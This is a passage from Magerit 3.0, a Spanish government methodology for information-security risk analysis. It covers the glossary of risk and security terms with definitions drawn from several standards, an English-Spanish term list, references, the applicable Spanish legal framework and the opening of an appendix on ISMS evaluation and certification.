Propiedad o característica consistente en que la información ni se pone a disposición ni se revela a individuos, entidades o procesos no autorizados. [UNE 71504:2008] Aseguramiento de que la información es accesible sólo para aquellos autorizados a tener acceso. [Magerit:2006] Característica que previene contra la divulgación no autorizada de activos del dominio. [Magerit:1997] Confidentiality: An assurance that information is not disclosed to unauthorized entities or processes (DOD JP 1994; JCS 1997) [OPSEC] Confidentiality: Preserving authorized restrictions on information access and disclosure, including means for protecting personal privacy and proprietary information. [800-53:2009] Confidentiality: The requirement of keeping proprietary, sensitive, or personal information private and inaccessible to anyone that is not authorized to see it. [Octave:2003] Confidentiality: Assurance that information is not disclosed to unauthorized persons, processes, or devices. [CNSS:2003] [TDIR:2003]

© Ministerio de Hacienda y Administraciones Públicas

página 99 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Confidentiality: The property that information is not made available or disclosed to unauthorized individuals, entities, or processes. [ISO 7498-2:1989]

Contra medida

Véase salvaguarda.

Control

Véase salvaguarda.

Declaración de aplicabilidad

Documento formal en el que, para un conjunto de salvaguardas, se indica sin son de aplicación en el sistema de información bajo estudio o si, por el contrario, carecen de sentido.

Degradación

Pérdida de valor de un activo como consecuencia de la materialización de una amenaza.

Dimensión de seguridad

Un aspecto, diferenciado de otros posibles aspectos, respecto del que se puede medir el valor de un activo en el sentido del perjuicio que causaría su pérdida de valor.

Disponibilidad

Aseguramiento de que los usuarios autorizados tienen acceso cuando lo requieran a la información y sus activos asociados. [UNE 71504:2008] Característica que previene contra la denegación no autorizada de acceso a activos del dominio. [Magerit:1997] Availability: The assurance that data transmissions, computer processing systems, and/or communications are not denied to those who are authorized to use them (JCS 1997) [OPSEC] Availability: Ensuring timely and reliable access to and use of information. [800-53:2009] Availability: The extend to which, or frequency with which, an asset must be present or ready for use. [Octave:2003] Availability: Timely, reliable access to data and information services for authorized users. [CNSS:2003] [TDIR:2003] [CIAO:2000] Availability: The property of being accessible and usable upon demand by an authorized entity. [ISO 7498-2:1989]

Estado de riesgo

Informe: Caracterización de los activos por su riesgo residual; es decir lo que puede pasar tomando en consideración las salvaguardas desplegadas.

Evaluación de salvaguardas

Informe: Evaluación de la eficacia de las salvaguardas existentes en relación al riesgo que afrontan.

Frecuencia

Tasa de ocurrencia de una amenaza. Número de sucesos o de efectos en una unidad de tiempo definida. [UNEISO Guía 73:2010]

Gestión de riesgos Actividades coordinadas para dirigir y controlar una organización el lo relativo al riesgo. [UNE-ISO Guía 73:2010] Selección e implantación de salvaguardas para conocer, prevenir, impedir, reducir o controlar los riesgos identificados. [Magerit:2006] Selección e implantación de las medidas o ‘salvaguardas’ de seguridad adecuadas para conocer, prevenir, impedir, reducir o controlar los riesgos identificados y así reducir al mínimo su potencialidad o sus posibles perjuicios. La gestión de riesgos se basa en los resultados obtenidos en el análisis de los riesgos. [Magerit:1997] © Ministerio de Hacienda y Administraciones Públicas

página 100 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Risk management: A security philosophy which considers actual threats, inherent vulnerabilities, and the availability and costs of countermeasures as the underlying basis for making security decisions (JSCR 1994). [OPSEC] Risk management: Process of identifying and applying countermeasures commensurate with the value of the assets protected based on a risk assessment. [CNSS:2003] The identification, assessment, and mitigation of probabilistic security events (risks) in information systems to a level commensurate with the value of the assets protected. [CIAO:2000]

Impacto

Consecuencia que sobre un activo tiene la materialización de una amenaza. Consecuencia – Resultado de un suceso que afecta a los objetivos. [UNEISO Guía 73:2010] Consecuencia que sobre un activo tiene la materialización de una amenaza. [Magerit:1997] Impact: The effect of a threat on an organization's mission and business objectives. [Octave:2003] Impact: The effect on the organisation of a breach in security. [CRAMM:2003]

Impacto residual

Impacto remanente en el sistema tras la implantación de las salvaguardas determinadas en el plan de seguridad de la información.

Incidente de seguridad

Suceso (inesperado o no deseado) con consecuencias en detrimento de la seguridad del sistema de información. [UNE 71504:2008] Evento con consecuencias en detrimento de la seguridad del sistema de información. [Magerit:2006] Information security event: identified occurrence of a system, service or network state indicating a possible breach of information security policy or failure of controls, or a previously unknown situation that may be security relevant. [ISO/IEC 27000:2009] Information security incident: single or a series of unwanted or unexpected information security events that have a significant probability of compromising business operations and threatening information security. [ISO/IEC 27000:2009] Incident: A successful or unsuccessful action attempting to circumvent technical controls, organizational policy, or law. This is often called an attack. [TDIR:2003]

Informe de insuficiencias

Informe: Ausencia o debilidad de las salvaguardas que aparecen como oportunas para reducir el riesgo sobre el sistema.

Integridad

Propiedad o característica consistente en que el activo no ha sido alterado de manera no autorizada. [UNE 71504:2008] Característica que previene contra la modificación o destrucción no autorizadas de activos del dominio. [Magerit:1997] Information integrity: The state that exists when information is unchanged from its source and has not been accidentally or intentionally modified, altered, or destroyed (NSC EO 1995; JCS 1997). [OPSEC]

© Ministerio de Hacienda y Administraciones Públicas

página 101 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Integrity: Guarding against improper information modification or destruction, and includes ensuring information non-repudiation and authenticity. [800-53:2009] Integrity: the authenticity, accuracy, and completeness of an asset. [Octave:2003] Data integrity: A condition existing when data is unchanged from its source and has not been accidentally or maliciously modified, altered, or destroyed. [CNSS:2003] [TDIR:2003] [CIAO:2000] Data integrity: The data quality that exists as long as accidental or malicious destruction, alteration, or loss of data does not occur. [CRAMM:2003] Integrity: Condition existing when an information system operates without unauthorized modification, alteration, impairment, or destruction of any of its components. [CIAO:2000]

Mapa de riesgos

Informe: Relación de las amenazas a que están expuestos los activos. Threat Analysis: The examination of all actions and events that might adversely affect a system or operation. [TDIR:2003] Threat Assessment: An evaluation of the nature, likelihood, and consequence of acts or events that could place sensitive information and assets as risk. [TDIR:2003]

Medida de seguridad

Véase salvaguarda.

Modelo de valor

Informe: Caracterización del valor que representan los activos para la Organización así como de las dependencias entre los diferentes activos.

Plan de seguridad

Conjunto de proyectos de seguridad que permiten materializar las decisiones de gestión de riesgos.

Probabilidad

Probabilidad (likelihood) – Posibilidad de que un hecho se produzca. [UNE-ISO Guía 73:2010] NOTA 1 – En la terminología de la gestión del riesgo, la palabra “probabilidad” se utiliza para indicar la posibilidad de que algún hecho se produzca, que esta posibilidad está definida, medida o determinada objetiva o subjetivamente, cualitativa o cuantitativamente, y descrita utilizando términos generales o de forma matemática [tales como una probabilidad o una frecuencia sobre un periodo de tiempo dado].

Proyecto de seguridad

Agrupación de tareas orientadas a tratar el riesgo del sistema. La agrupación se realiza por conveniencia, bien porque se trata de tareas que en singular carecerían de eficacia, bien porque se trata de tareas con un objetivo común, bien porque se trata de tareas que competen a una única unidad de acción.

Riesgo

Estimación del grado de exposición a que una amenaza se materialice sobre uno o más activos causando daños o perjuicios a la Organización. Efecto de la incertidumbre sobre la consecución de los objetivos. [UNEISO Guía 73:2010] Posibilidad de que se produzca un impacto determinado en un activo, en un dominio o en toda la Organización. [Magerit:1997]

© Ministerio de Hacienda y Administraciones Públicas

página 102 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Probabilidad de que una vulnerabilidad propia de un sistema de información sea explotada por las amenazas a dicho sistema, con el objetivo de penetrarlo. [CESID:1997] Risk: A measure of the potential degree to which protected information is subject to loss through adversary exploitation. [OPSEC] Risk: Possibility that a particular threat will adversely impact an information system by exploiting a particular vulnerability. [CNSS:2003] Risk: A combination of the likelihood that a threat will occur, the likelihood that a threat occurrence will result in an adverse impact, and the severity of the resulting adverse impact. Reducing either the threat or the vulnerability reduces the risk. [TDIR:2003] Total risk: The potential for the occurrence of an adverse event if no mitigating action is taken (i.e., the potential for any applicable threat to exploit a system vulnerability). [TDIR:2003] Risk: A measure of the exposure to which a system or potential system may be subjected. [CRAMM:2003]

Riesgo acumulado

Dícese del calculado tomando en consideración el valor propio de un activo y el valor de los activos que depende de él. Este valor se combina con la degradación causada por una amenaza y la frecuencia estimada de la misma.

Riesgo potencial

Riesgos potenciales. Los riesgos del sistema de información en la hipótesis de que no hubieran salvaguardas presentes. [UNE 71504:2008] Inherent risk – The risk level or exposure without taking into account the actions that management has taken or might take (e.g. implementing controls) [RiskIT-PG:2009]

Riesgo repercutido Dícese del calculado tomando en consideración únicamente el valor propio de un activo. Este valor se combina con la degradación causada por una amenaza y la frecuencia estimada de la misma, medidas ambas sobre activos de los que depende. Riesgo residual

Riesgo remanente en el sistema después del tratamiento del riesgo. [UNEISO Guía 73:2010] Riesgo remanente en el sistema tras la implantación de las salvaguardas determinadas en el plan de seguridad de la información. [Magerit:2006] Riesgo que se da tras la aplicación de salvaguardas dispuestas en un escenario de simulación o en el mundo real. [Magerit:1997] Residual risk: Portion of risk remaining after security measures have been applied. [CNSS:2003] [CRAMM:2003] Residual Risk: The potential for the occurrence of an adverse event after adjusting for the impact of all in-place safeguards. [TDIR:2003]

Salvaguarda

Procedimiento o mecanismo tecnológico que reduce el riesgo. Control: Medida que modifica un riesgo. [UNE-ISO Guía 73:2010] Control: Means of managing risks, including policies, procedures, guidelines, practices or organizational structures, which can be of administrative, technical, management or legal nature. [ISO/IEC 27000:2009] Countermeasure: Anything which effectively negates or mitigates an adversary's ability to exploit vulnerabilities. [OPSEC]

© Ministerio de Hacienda y Administraciones Públicas

página 103 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] Safeguard: Protective measures prescribed to meet the security requirements (i.e., confidentiality, integrity, and availability) specified for an information system. Safeguards may include security features, management constraints, personnel security, and security of physical structures, areas, and devices. [800-53:2009] Countermeasure: Action, device, procedure, technique, or other measure that reduces the vulnerability of an information system. [CNSS:2003] Security safeguard: Protective measures and controls prescribed to meet the security requirements specified for an information system. Safeguards may include security features, management constraints, personnel security, and security of physical structures, areas, and devices. [CNSS:2003] Countermeasure: Any action, device, procedure, technique, or other measure that mitigates risk by reducing the vulnerability of, threat to, or impact on a system. [TDIR:2003]

Seguridad

La capacidad de las redes o de los sistemas de información de resistir, con un determinado nivel de confianza, los accidentes o acciones ilícitas o malintencionadas que comprometan la disponibilidad, autenticidad, integridad y confidencialidad de los datos almacenados o transmitidos y de los servicios que dichas redes y sistemas ofrecen o hacen accesibles. [Reglamento (CE) n 460/2004 del Parlamento Europeo y del Consejo, de 10 de marzo de 2004, por el que se crea la Agencia Europea de Seguridad de las Redes y de la Información]. Information System Security: Protection of information systems against unauthorized access to or modification of information, whether in storage, processing or transit, and against the denial of service to authorized users, including those measures necessary to detect, document, and counter such threats. [CNSS:2003]

Seguridad de la información

Confianza en que los sistemas de información están libres y exentos de todo peligro o daño inaceptables. [UNE 71504:2008]

Sistema de información

Los ordenadores y redes de comunicaciones electrónicas, así como los datos electrónicos almacenados, procesados, recuperados o transmitidos por los mismos para su operación, uso, protección y mantenimiento. Conjunto organizado de recursos para que la información se pueda recoger, almacenar, procesar (tratar), mantener, usar, compartir, distribuir, poner a disposición, presentar o transmitir. [UNE 71504:2008] Conjunto de elementos físicos, lógicos, elementos de comunicación, datos y personal que permiten el almacenamiento, transmisión y proceso de la información. [Magerit:1997] Cualquier sistema o producto destinado a almacenar, procesar o transmitir información. [CESID:1997] Information System: Set of information resources organized for the collection, storage, processing, maintenance, use, sharing, dissemination, disposition, display, or transmission of information. [CNSS:2003] Information System: Any procedure or process, with or without IT support, that provides a way of acquiring, storing, processing or disseminating information. Information systems include applications and their supporting infrastructure. [CRAMM:2003]

Tratamiento de riesgos

Proceso destinado a modificar el riesgo. [UNE-ISO Guía 73:2010] El proceso de selección e implantación de las medidas o salvaguardas pa-

© Ministerio de Hacienda y Administraciones Públicas

página 104 (de 127)

Magerit 3.0 Aceptación del riesgo

Glosario Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010] ra prevenir, impedir, reducir o controlar los riesgos identificados. [UNE 71504:2008]

Trazabilidad

Aseguramiento de que en todo momento se podrá determinar quién hizo qué y en qué momento. [UNE 71504:2008] Propiedad o característica consistente en que las actuaciones de una entidad pueden ser imputadas exclusivamente a dicha entidad. [ISO/IEC 7498-2:1989] Responsabilidad: Cualidad que permite que todas las acciones realizadas sobre un sistema de tecnología de la información sean asociadas de modo inequívoco a un individuo o entidad. [CESID:1997] Accountability: Process of tracing information system activities to a responsible source. [CNSS:2003]

Valor

De un activo. Es una estimación del coste inducido por la materialización de una amenaza. Cualidad que poseen algunas realidades, consideradas bienes, por lo cual son estimables. [DRAE]

Valor acumulado

Considera tanto el valor propio de un activo como el valor de los activos que dependen de él. Bienes de abolengo: Los heredados de los abuelos. [DRAE]

Vulnerabilidad

Defecto o debilidad en el diseño, implementación u operación de un sistema que habilita o facilita la materialización de una amenaza. Propiedades intrínsecas de que algo se produzca como resultado de una sensibilidad a una fuente de riesgo que puede conducir a un suceso con una consecuencia. [UNE-ISO Guía 73:2010] A weakness in design, implementation, operation or internal control. [RiskIT-PG:2009] A flaw or weakness in a system's design, implementation, or operation and management that could be exploited to violate the system's security policy. [RFC4949:2007] Estimación de la exposición efectiva de un activo a una amenaza. Se determina por dos medidas: frecuencia de ocurrencia y degradación causada. [Magerit:2006] Vulnerabilidad de un activo es la potencialidad o posibilidad de ocurrencia de la materialización de una amenaza sobre dicho activo. [Magerit:1997] Debilidad en la seguridad de un sistema de información. [CESID:1997] Vulnerability: The susceptibility of information to exploitation by an adversary. [OPSEC] Vulnerability: Weakness in an information system, system security procedures, internal controls, or implementation that could be exploited. [CNSS:2003] Vulnerability: A weakness or lack of controls that would allow or facilitate a threat actuation against a specific asset or target. [CRAMM:2003]

© Ministerio de Hacienda y Administraciones Públicas

página 105 (de 127)

Magerit 3.0

Glosario

A1.2. Términos anglosajones Breve diccionario inglés-español de términos habituales en análisis y gestión de riesgos: Acrónimos ALE

Annual Loss Expectancy

ARO Annual Rate of Occurrence BIA

Business Impact Analysis

GRC Governance, Risk Management, and Compliance Accountability Authenticity Availability Asset Business Impact Analysis Compliance Confidentiality Countermeasure Frequency Impact Information security Information security incident Information system Integrity Residual risk Risk Risk acceptance Risk analysis Risk assessment Risk management Risk map Risk treatment Safeguard Security Statement of applicability Traceability Threat Value Vulnerability

Trazabilidad Autenticidad Disponibilidad Activo Análisis de impacto Cumplimiento Confidencialidad Contra medida Frecuencia Impacto Seguridad de la información Incidente de seguridad Sistema de información Integridad Riesgo residual Riesgo Aceptación de riesgos Análisis de riesgos Análisis de riesgos Gestión de riesgos Mapa de riesgo Tratamiento del riesgo Salvaguarda Seguridad Documento de selección de controles Trazabilidad Amenaza Valor Vulnerabilidad

© Ministerio de Hacienda y Administraciones Públicas

página 106 (de 127)

Magerit 3.0

Glosario

A1.3. ISO – Gestión del riesgo La definiciones de ISO en lo que respecta a riesgos se recogen en la guía [ISO 73]

Definiciones Riesgo Efecto de la incertidumbre sobre la consecución de los objetivos. NOTA 1 – Un efecto es una desviación, positiva y/o negativa, respecto a lo previsto. NOTA 2 – Los objetivos pueden tener diferentes aspectos (tales como financieros, de salud y seguridad, o ambientales) y se pueden aplicar a diferentes niveles (tales como nivel estratégico, nivel de un proyecto, de un producto, de un proceso o de una organización completa). NOTA 3 – Con frecuencia, el riesgo se caracteriza por referencia a sucesos potenciales y a sus consecuencias, o a una combinación de ambos. NOTA 4 – Con frecuencia, el riesgo se expresa en términos de combinación de las consecuencias de un suceso (incluyendo los cambios en las circunstancias) y de su probabilidad. NOTA 5 – La incertidumbre es el estado, incluso parcial, de deficiencia en la información relativa a la comprensión o al conocimiento de un suceso, de sus consecuencias o de su probabilidad. Proceso de gestión del riesgo Aplicación sistemática de políticas, procedimientos y prácticas de gestión a las actividades de comunicación, consulta, establecimiento del contexto, e identificación, análisis, evaluación, tratamiento, seguimiento y revisión del riesgo. Dueño del riesgo Persona o entidad que tiene la responsabilidad y autoridad para gestionar un riesgo. Tratamiento del riesgo Proceso destinado a modificar el riesgo. NOTA 1 – El tratamiento del riesgo puede implicar: — evitar el riesgo, decidiendo no iniciar o continuar con la actividad que motiva el riesgo; — aceptar o aumentar el riesgo con objeto de buscar una oportunidad; — eliminar la fuente de riesgo; — cambiar la probabilidad; — cambiar las consecuencias; — compartir el riesgo con otra u otras partes [incluyendo los contratos y la financiación del riesgo]; y — mantener el riesgo en base a una decisión informada. NOTA 2 – Los tratamientos del riesgo que conducen a consecuencias negativas, en ocasiones se citan como “mitigación del riesgo”, “eliminación del riesgo”, “prevención del riesgo” y “reducción del riesgo”. NOTA 3 – El tratamiento del riesgo puede originar nuevos riesgos o modificar los riesgos existentes.

© Ministerio de Hacienda y Administraciones Públicas

página 107 (de 127)

Magerit 3.0

Glosario

Apéndice 2. Referencias Arreglo 2000 “Arreglo sobre el Reconocimiento de los Certificados de Criterios Comunes en el campo de la Seguridad de las Tecnologías de la Información”, Mayo, 2000. BSI Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003. Germany. http://www.bsi.de/gshb/english/etc/index.htm CC Comon Criteria. Ver [ISO 15408]. CEM Common Evaluation Methodology. Ver [ISO 18045]. CESID Centro Superior de Información de la Defensa, “Glosario de Términos de Criptología”, Ministerio de Defensa, 3ª edición, 1997. CIAO Critical Infrastructure Assurance Office, “Practices for Securing Critical Information Assets”, January 2000. CNSS Committee on National Security Systems, Instruction No. 4009, “National Information Assurance (IA) Glossary“, May 2003. CRAMM “CCTA Risk Analysis and Management Method (CRAMM)”, Version 5.0, 2003. DARPA 1601 “The Vulnerability Assessment and Mitigation Methodology”, P.S. Antón et al., RAND National Defense Research Institute, MR-1601-DARPA, 2003. DRAE Real Academia Española. Diccionario de la Lengua Española. 22.ª edición, 2001. http://buscon.rae.es/diccionario/drae.htm EA-7 European Co-Operation for Accreditation, “Guidelines for the Accreditation of Bodies Operating Certification / Registration of Information Security Management Systems”, EA-7/03, February 2000. EBIOS “Méthode pour l’Expression des Besoins et l’Identification des Objectifs de Sécurité”. Service Central de la Sécurité des Systèmes d'Information. France. GAO United States General Accounting Office, Accounting and Information Management Division, “Information Security Risk Assessment — GAO Practices of Leading Organizations. ISO 73 ISO Guide 73:2009, “Risk management — Vocabulary”. UNE-ISO Guía 73:2010, “Gestión del riesgo. Vocabulario”. ISO 7498-2 ISO 7498-2:1989, “Information processing systems — Open Systems Interconnection — Basic Reference Model — Part 2: Security Architecture”.

© Ministerio de Hacienda y Administraciones Públicas

página 108 (de 127)

Magerit 3.0

Glosario

ISO 15408 ISO/IEC 15408:2009, “Information technology — Security techniques — Evaluation criteria for IT security”. ISO 15443-1 ISO/IEC TR 15443-1:2005, “Information technology — Security techniques — A framework for IT security assurance -- Part 1: Overview and framework”. ISO 18043 ISO/IEC 18043:2006, “Information technology — Security techniques — Selection, deployment and operations of intrusion detection systems”. ISO 18045 ISO/IEC 18045:2008, “Information technology — Security techniques — Methodology for IT security evaluation”. ISO 27000 ISO/IEC 27000:2009, “Information technology — Security techniques — Information security management systems — Overview and vocabulary”. ISO 27001 ISO/IEC 27001:2005, “Information technology — Security techniques — Information security management systems — Requirements” UNE-ISO/IEC 27001:2007, “Tecnología de la información. Técnicas de seguridad. Sistemas de Gestión de la Seguridad de la Información (SGSI). Requisitos” ISO 27002 ISO/IEC 27002:2005, “Information technology — Security techniques — Code of practice for information security management”. UNE-ISO/IEC 27002:2009, “Tecnología de la Información. Código de Buenas Prácticas de la Gestión de la Seguridad de la Información”. ISO 27005 ISO/IEC 27005:2011, “Information technology — Security techniques — Information security risk management”. ISO 31000 ISO 31000:2009, “Risk management — Principles and guidelines”. UNE-ISO 31000:2010, “Gestión del riesgo. Principios y directrices”. ISO 31010 ISO/IEC 31010:2009, “Risk management — Risk assessment techniques”. UNE-ISO/IEC 31010:2010, “Gestión del riesgo. Técnicas de apreciación del riesgo”. ISO 38500 ISO/IEC 38500:2008. “Corporate governance of information technology”. ITSEC European Commission, “Information Technology Security Evaluation Criteria”, version 1.2, 1991. Magerit:1997 Ministerio de Hacienda y Administraciones Públicas, “Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información - Versión 1”, 1997. Magerit:2006 Ministerio de Hacienda y Administraciones Públicas, “Metodología de Análisis y Gestión de Riesgos de los Sistemas de Información – Versión 2”, 2006. NIST 800-27 NIST, “Engineering Principles for Information Technology Security (A Baseline for Achieving Security)”, SP 800-27 Rev. A, June 2004.

© Ministerio de Hacienda y Administraciones Públicas

página 109 (de 127)

Magerit 3.0

Glosario

NIST 800-30 NIST, “Risk Management Guide for Information Technology Systems”, SP 800-30, 2Jul. 002. NISR, “DRAFT Guide for Conducting Risk Assessments”, SP 800-30 Rev.1, Sept. 2011. NIST 800-37 NIST, “Guide for Applying the Risk Management Framework to Federal Information Systems: A Security Life Cycle Approach”, SP 800-37 Rev.1, Feb. 2010 NIST 800-39 NIST, “Managing Information Security Risk: Organization, Mission, and Information System View”, SP 800-39, Mar. 2011 NIST 800-53 NIST, “Recommended Security Controls for Federal Information Systems”, National Institute of Standards and Technology, special publication SP 800-53 Rev.3, Aug. 2009. NIST 800-64 NIST, “Security Considerations in the Information System Development Life Cycle”, SP 800-64 Rev.2, Oct. 2008. NSTISS National Security Telecommunications and Information Systems Security Committee, “Index of National Security Telecommunications Information Systems Security Issuances”, NSTISSI no. 4014, NSTISSC Secretariat, 1998. OCDE Directrices de la ocde para la seguridad de sistemas y redes de información : hacia una cultura de seguridad. 2004 Octave C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”, Addison Wesley, 2003. OPSEC OPSEC Glossary of Terms, http://www.ioss.gov/docs/definitions.html Peltier 2001 T.R. Peltier, “Information Security Risk Analysis”, Auerbach Pub; 1st edition (January 23, 2001) PILAR “Procedimiento Informático-Lógico para el Análisis de Riesgos”. Centro Criptológico Nacional. Centro Nacional de Inteligencia. Ministerio de Presidencia. España. RD 3/2010 Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. RD 1720/2007 Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal. Ribagorda A. Ribagorda, “Glosario de Términos de Seguridad de las T.I.”, Ediciones CODA, 1997. RIS2K Soporte de Magerit v1.0. Ministerio de Hacienda y Administraciones Públicas. España. RiskIt-F ISACA, “The Risk IT Framework”, 2009. RiskIt-PG ISACA, “The Risk IT Practitioner Guide”. 2009.

© Ministerio de Hacienda y Administraciones Públicas

página 110 (de 127)

Magerit 3.0

Glosario

TCSEC Department of Defense, “Trusted Computer System Evaluation Criteria”, DOD 5200.28-STD, Dec. 1985. TDIR:2003 Texas Department of Information Resources, “Practices for Protecting Information Resources Assets“, Revised September 2003. UNE 71504 UNE 71504:2008, “Metodología de análisis y gestión de riesgos para los sistemas de información”.

© Ministerio de Hacienda y Administraciones Públicas

página 111 (de 127)

Magerit 3.0

Marco legal

Apéndice 3. Marco legal En este apéndice se apunta cierta normativa legal, nacional e internacional, relevante al caso del análisis y gestión de riesgos, bien por exigirlo, bien por sustentarlo, bien por ser de utilidad en el Proceso de Gestión de Riesgos. La relación no pretende ser exhaustiva, amén de estar sujeta a un proceso legislativo activo, por lo que es obligación del responsable prestar atención a las novedades que vayan apareciendo.. Se han incluido algunas referencias a acuerdos de carácter político o de otra naturaleza a los cuales conviene también prestar atención. Por ejemplo, las Guías de la OCDE.

A3.1. Seguridad en el ámbito de la Administración electrónica •

Ley 30/1992, de 26 de noviembre, de Régimen Jurídico de las Administraciones Públicas y del Procedimiento Administrativo Común, LRJ-PAC.

•

Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públicos.

•

Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. BOE de 29 de enero de 2010.

•

Corrección de errores del Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad en el ámbito de la Administración Electrónica. BOE de 11 de marzo de 2010.

•

Real Decreto 4/2010, de 8 de enero, por el que se regula el Esquema Nacional de Interoperabilidad en el ámbito de la Administración Electrónica. BOE de 29 de enero 2010.

A3.2. Protección de datos de carácter personal •

LOPD, Ley Orgánica 15/1999, de 13 de diciembre, de Protección de Datos de Carácter Personal.

•

Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desarrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter personal.

A3.3. Firma electrónica •

Ley 59/2003, de 19 de diciembre, de firma electrónica.

•

Ley 66/1997, de 30 de diciembre, de Medidas Fiscales, Administrativas y del Orden Social; art. 81.

•

Real Decreto 1317/2001, de 30 de noviembre, por el que se desarrolla el artículo 81 de la Ley 66/1997, de 30 de diciembre, de Medidas Fiscales, Administrativas y del Orden Social, en materia de prestación de servicios de seguridad por la Fábrica Nacional de Moneda y Timbre-Real Casa de la Moneda, en las comunicaciones a través de técnicas y medios electrónicos, informáticos y telemáticos, con las Administraciones Públicas.

A3.4. Información clasificada •

Ley 9/1968, de 5 de abril, sobre Secretos Oficiales.

•

Decreto 242/1969, de 20 de Febrero. por el que se desarrollan las disposiciones de la Ley 9/1968. de 5 de abril sobre Secretos Oficiales.

•

Ley 48/1978, de 7 de octubre, que modifica la Ley 9/1968, de 5 de abril, sobre secretos oficiales.

© Ministerio de Hacienda y Administraciones Públicas

página 112 (de 127)

Magerit 3.0

Marco legal

•

Orden Ministerial número 76/2002, de 18 de abril, por la que se establece la política de seguridad para la protección de la información del Ministerio de Defensa almacenada, procesada o transmitida por sistemas de información y telecomunicaciones.

•

LEY 11/2002, de 6 de mayo, reguladora del Centro Nacional de Inteligencia.

•

Real Decreto 421/2004, de 12 de marzo, por el que se regula el Centro Criptológico Nacional.

•

Decisión del Consejo de 19 de marzo de 2001, por la que se adoptan las normas de seguridad del Consejo (2001/264/EC)

•

Decisión de la Comisión de 29 de noviembre de 2001, por la que se modifica su Reglamento interno (2001/844/CE, CECA, Euratom)

A3.5. Seguridad de las redes y de la información •

COM(2001)298 final -- Seguridad de las redes y de la información: Propuesta para un enfoque político europeo

•

OCDE: Directrices para la seguridad de los sistemas y redes de información - Hacia una cultura de seguridad

© Ministerio de Hacienda y Administraciones Públicas

página 113 (de 127)

Magerit 3.0

Evaluación y certificación

Apéndice 4. Marco de evaluación y certificación La complejidad de los sistemas de información conlleva un gran esfuerzo para determinar la calidad de las medidas de seguridad de que se ha dotado y la confianza que merecen. Es frecuente la aparición de terceras partes que de forma independiente emiten juicios sobre dichos aspectos, juicios que se emiten tras una evaluación rigurosa y que se plasman en un documento reconocido. En este capítulo se repasan someramente dos marcos en los que se ha formalizado el proceso de evaluación y certificación (o registro): •

en los sistemas de gestión de la seguridad de la información

•

en los productos de seguridad

Para cada uno de estos marcos se indica su oportunidad, la forma de organizarse para alcanzar la certificación y el marco administrativo y normativo en el que se desarrolla la actividad.

A4.1. Sistemas de gestión de la seguridad de la información (SGSI) Se define “sistema de gestión” como lo que la Organización hace para gestionar sus procesos o actividades, de forma que los productos que fabrica o los servicios que presta satisfagan los objetivos que la propia organización de ha marcado, típicamente •

satisfacer la calidad demandada por los clientes

•

cumplir con las obligaciones legales, regulatorias y contractuales

Dentro del sistema de gestión de una Organización, se entiende por “sistema de gestión de la seguridad de la información” (SGSI) la parte relacionada con la seguridad de la información. Es habitual entender que los sistemas de gestión deben ajustarse al llamado ciclo de Denning (PDCA), habitual en sistemas de gestión de la calidad: P – Plan – Se establecen objetivos y se preparan planes para alcanzarlos. Esto incluye analizar la situación de la Organización: dónde estamos y dónde queremos estar. D – Do – Se ejecutan los planes. C – Check – Se evalúan los resultados obtenidos para determinar en qué medida se han alcanzado los objetivos propuestos. A – Act – A fin de estar cada día mejor (mejora continua), se actualizan los planes y su implantación. Plan planificación planificación Act

Do

mantenimiento mantenimiento yymejora mejora

implementación implementación yyoperación operación Check monitorización monitorización yyevaluación evaluación

Ilustración 22. Ciclo PDCA

La planificación (P de Plan) debe incluir una política de seguridad que marque objetivos y un análisis de riesgos que modele el valor del sistema, su exposición a amenazas, y lo que se tiene (o se necesita) para mantener el riesgo bajo control. Es natural que con estas bases se genere un plan de seguridad razonado para la gestión de riesgos. La acción (D de Do) es la ejecución del plan, en sus aspectos técnicos y de organización, involucrando a las personas que se hacen cargo del sistema o están relacionadas con éste. Un plan tiene éxito cuando lleva a una operación diaria sin sorpresas. © Ministerio de Hacienda y Administraciones Públicas

página 114 (de 127)

Magerit 3.0

Evaluación y certificación

La monitorización (C de Check) de la operación del sistema parte del hecho de que no se puede confiar ciegamente en la eficacia de las medidas, sino que continuamente hay que evaluar si responden a lo esperado con la eficacia deseada. Hay que medir tanto lo que ocurre como lo que ocurriría si no se hubieran tomado medidas. A veces se habla del “coste de la inseguridad” como justificación de que el gasto de dinero y esfuerzo tiene fundamento. Y hay que atender a las novedades que se produzcan, tanto en cuanto a modificaciones del propio sistema de información, como a nuevas amenazas. La reacción (A de Act) es saber derivar consecuencias de la experiencia, propia y de sistemas similares, repitiendo el ciclo PDCA. La evaluación de un sistema de gestión de la seguridad parte del supuesto de que el esquema anterior vertebra las actuaciones de la Organización en materia de seguridad, y juzga la eficacia de los controles implantados para alcanzar asegurarnos de que se alcanzan los objetivos propuestos. Nótese que un sistema de gestión maduro debe estar documentado en todos sus aspectos. Es típico de organizaciones inmaduras que las actividades se realizan siguiendo normas y procedimientos que se sobreentienden o están en la cabeza de las personas. Sólo cuando todo figura por escrito podemos hablar de un sistema de gestión que puede ser objeto de una certificación.

